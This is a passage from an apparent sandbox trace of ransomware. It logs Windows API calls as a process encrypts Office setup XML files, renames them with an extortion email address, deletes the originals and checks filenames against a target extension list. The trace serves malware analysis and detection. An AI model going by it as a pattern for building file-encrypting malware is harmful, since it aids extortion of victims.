| out: lpNewFilePointer=0x0) returned 1 [0059.610] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0059.610] GetLastError () returned 0x0 [0059.610] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x543, lpOverlapped=0x0) returned 1 [0059.613] WriteFile (in: hFile=0x1f4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x550, lpOverlapped=0x0) returned 1 [0059.631] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.631] WriteFile (in: hFile=0x1f4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0059.631] SetEndOfFile (hFile=0x1f4) returned 1 [0059.631] CloseHandle (hObject=0x1f4) returned 1 [0059.632] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.633] SetEndOfFile (hFile=0x214) returned 1 [0059.634] CloseHandle (hObject=0x214) returned 1 [0059.634] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0059.635] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.635] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.635] lstrlenW (lpString=".doc") returned 4 [0059.635] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.635] lstrlenW (lpString=".docx") returned 5 [0059.635] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0059.635] lstrlenW (lpString=".pdf") returned 4 [0059.635] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.635] lstrlenW (lpString=".xls") returned 4 [0059.635] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.635] lstrlenW (lpString=".xlsx") returned 5 [0059.635] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0059.635] lstrlenW (lpString=".ppt") returned 4 [0059.635] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.636] lstrlenW (lpString=".zip") returned 4 [0059.636] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.636] lstrlenW (lpString=".rar") returned 4 [0059.636] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.636] lstrlenW (lpString=".bz2") returned 4 [0059.636] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.636] lstrlenW (lpString=".7z") returned 3 [0059.636] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.636] lstrlenW (lpString=".dbf") returned 4 [0059.636] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.636] lstrlenW (lpString=".1cd") returned 4 [0059.636] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.636] lstrlenW (lpString=".jpg") returned 4 [0059.636] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.636] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.637] lstrlenW (lpString=".doc") returned 4 [0059.637] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0059.637] lstrlenW (lpString=".docx") returned 5 [0059.637] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0059.637] lstrlenW (lpString=".pdf") returned 4 [0059.637] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0059.637] lstrlenW (lpString=".xls") returned 4 [0059.637] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0059.637] lstrlenW (lpString=".xlsx") returned 5 [0059.637] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0059.637] lstrlenW (lpString=".ppt") returned 4 [0059.637] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0059.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.637] lstrlenW (lpString=".zip") returned 4 [0059.853] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0059.854] lstrlenW (lpString=".rar") returned 4 [0059.854] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0059.854] lstrlenW (lpString=".bz2") returned 4 [0059.854] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0059.854] lstrlenW (lpString=".7z") returned 3 [0059.854] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0059.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.854] lstrlenW (lpString=".dbf") returned 4 [0059.854] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0059.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.854] lstrlenW (lpString=".1cd") returned 4 [0059.854] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0059.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0059.854] lstrlenW (lpString=".jpg") returned 4 [0059.854] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0059.854] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0059.855] lstrlenW (lpString="Proof.XML") returned 9 [0059.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0060.036] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1457) returned 1 [0060.036] CloseHandle (hObject=0x210) returned 1 [0060.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0060.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0060.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0060.036] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.036] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0060.037] GetLastError () returned 0x0 [0060.037] ReadFile (in: hFile=0x210, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x5b1, lpOverlapped=0x0) returned 1 [0060.310] WriteFile (in: hFile=0x218, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0060.312] ReadFile (in: hFile=0x210, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.312] WriteFile (in: hFile=0x218, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0060.313] SetEndOfFile (hFile=0x218) returned 1 [0060.313] CloseHandle (hObject=0x218) returned 1 [0060.314] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.314] SetEndOfFile (hFile=0x210) returned 1 [0060.318] CloseHandle (hObject=0x210) returned 1 [0060.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0060.318] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0060.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.318] lstrlenW (lpString=".doc") returned 4 [0060.319] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.319] lstrlenW (lpString=".docx") returned 5 [0060.319] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0060.319] lstrlenW (lpString=".pdf") returned 4 [0060.319] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.319] lstrlenW (lpString=".xls") returned 4 [0060.319] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.319] lstrlenW (lpString=".xlsx") returned 5 [0060.319] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0060.319] lstrlenW (lpString=".ppt") returned 4 [0060.319] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.319] lstrlenW (lpString=".zip") returned 4 [0060.319] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.319] lstrlenW (lpString=".rar") returned 4 [0060.319] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.319] lstrlenW (lpString=".bz2") returned 4 [0060.319] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.320] lstrlenW (lpString=".7z") returned 3 [0060.320] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.320] lstrlenW (lpString=".dbf") returned 4 [0060.320] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.320] lstrlenW (lpString=".1cd") returned 4 [0060.320] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.320] lstrlenW (lpString=".jpg") returned 4 [0060.320] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.320] lstrlenW (lpString=".doc") returned 4 [0060.320] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0060.320] lstrlenW (lpString=".docx") returned 5 [0060.320] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0060.320] lstrlenW (lpString=".pdf") returned 4 [0060.320] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0060.320] lstrlenW (lpString=".xls") returned 4 [0060.320] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0060.320] lstrlenW (lpString=".xlsx") returned 5 [0060.320] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0060.321] lstrlenW (lpString=".ppt") returned 4 [0060.321] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0060.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.321] lstrlenW (lpString=".zip") returned 4 [0060.321] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0060.321] lstrlenW (lpString=".rar") returned 4 [0060.321] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0060.321] lstrlenW (lpString=".bz2") returned 4 [0060.321] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0060.321] lstrlenW (lpString=".7z") returned 3 [0060.321] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0060.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.321] lstrlenW (lpString=".dbf") returned 4 [0060.321] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0060.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.321] lstrlenW (lpString=".1cd") returned 4 [0060.321] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0060.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0060.321] lstrlenW (lpString=".jpg") returned 4 [0060.321] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0060.322] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0060.322] lstrlenW (lpString="ProPlusrWW.XML") returned 14 [0060.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.773] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=16852) returned 1 [0060.773] CloseHandle (hObject=0x214) returned 1 [0060.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 0x20 [0060.773] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0060.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0060.774] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.774] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0060.774] GetLastError () returned 0x0 [0060.774] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0060.853] WriteFile (in: hFile=0x1f0, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0060.855] ReadFile (in: hFile=0x214, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.855] WriteFile (in: hFile=0x1f0, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0060.855] SetEndOfFile (hFile=0x1f0) returned 1 [0061.074] CloseHandle (hObject=0x1f0) returned 1 [0061.076] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.076] SetEndOfFile (hFile=0x214) returned 1 [0061.078] CloseHandle (hObject=0x214) returned 1 [0061.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0061.078] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml")) returned 1 [0061.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.079] lstrlenW (lpString=".doc") returned 4 [0061.079] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.079] lstrlenW (lpString=".docx") returned 5 [0061.079] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0061.079] lstrlenW (lpString=".pdf") returned 4 [0061.079] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.079] lstrlenW (lpString=".xls") returned 4 [0061.079] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.079] lstrlenW (lpString=".xlsx") returned 5 [0061.079] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0061.079] lstrlenW (lpString=".ppt") returned 4 [0061.079] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.079] lstrlenW (lpString=".zip") returned 4 [0061.079] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.079] lstrlenW (lpString=".rar") returned 4 [0061.079] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.079] lstrlenW (lpString=".bz2") returned 4 [0061.079] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.079] lstrlenW (lpString=".7z") returned 3 [0061.079] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.079] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.080] lstrlenW (lpString=".dbf") returned 4 [0061.080] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.080] lstrlenW (lpString=".1cd") returned 4 [0061.080] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.080] lstrlenW (lpString=".jpg") returned 4 [0061.080] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.080] lstrlenW (lpString=".doc") returned 4 [0061.080] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0061.080] lstrlenW (lpString=".docx") returned 5 [0061.080] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0061.080] lstrlenW (lpString=".pdf") returned 4 [0061.080] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0061.080] lstrlenW (lpString=".xls") returned 4 [0061.080] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0061.080] lstrlenW (lpString=".xlsx") returned 5 [0061.080] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0061.080] lstrlenW (lpString=".ppt") returned 4 [0061.081] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.081] lstrlenW (lpString=".zip") returned 4 [0061.081] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0061.081] lstrlenW (lpString=".rar") returned 4 [0061.081] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0061.081] lstrlenW (lpString=".bz2") returned 4 [0061.081] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0061.081] lstrlenW (lpString=".7z") returned 3 [0061.081] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.081] lstrlenW (lpString=".dbf") returned 4 [0061.081] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.081] lstrlenW (lpString=".1cd") returned 4 [0061.081] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0061.081] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML") returned 103 [0061.081] lstrlenW (lpString=".jpg") returned 4 [0061.081] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0061.082] lstrcmpiW (lpString1=".XML", lpString2=".NEWS") returned 1 [0061.082] lstrlenW (lpString="SETUP.XML") returned 9 [0061.082] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0061.083] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=20577) returned 1 [0061.084] CloseHandle (hObject=0x214) returned 1 [0061.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\setup.xml")) returned 0x20 [0061.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 